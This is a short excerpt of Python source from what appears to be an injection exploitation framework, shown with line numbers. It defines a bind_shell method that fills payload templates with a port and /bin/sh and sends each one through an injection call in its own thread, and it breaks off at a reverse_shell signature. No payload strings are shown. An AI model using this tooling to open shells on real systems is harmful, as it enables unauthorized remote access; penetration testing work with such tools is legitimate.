(self, port, shell = "/bin/sh")
| 778 | |
| 779 | |
| 780 | def bind_shell(self, port, shell = "/bin/sh"): |
| 781 | |
| 782 | action = self.actions.get('bind_shell', {}) |
| 783 | payload_actions = action.get('bind_shell') |
| 784 | call_name = action.get('call', 'inject') |
| 785 | |
| 786 | # Skip if something is missing or call function is not set |
| 787 | if not action or not isinstance(payload_actions, list) or not call_name or not hasattr(self, call_name): |
| 788 | return |
| 789 | |
| 790 | for payload_action in payload_actions: |
| 791 | |
| 792 | execution_code = payload_action % ({ |
| 793 | 'port' : port, |
| 794 | 'shell' : shell, |
| 795 | }) |
| 796 | |
| 797 | reqthread = threading.Thread(target=getattr(self, call_name), args=(execution_code,)) |
| 798 | reqthread.start() |
| 799 | yield reqthread |
| 800 | |
| 801 | |
| 802 | def reverse_shell(self, host, port, shell = "/bin/sh"): |
no test coverage detected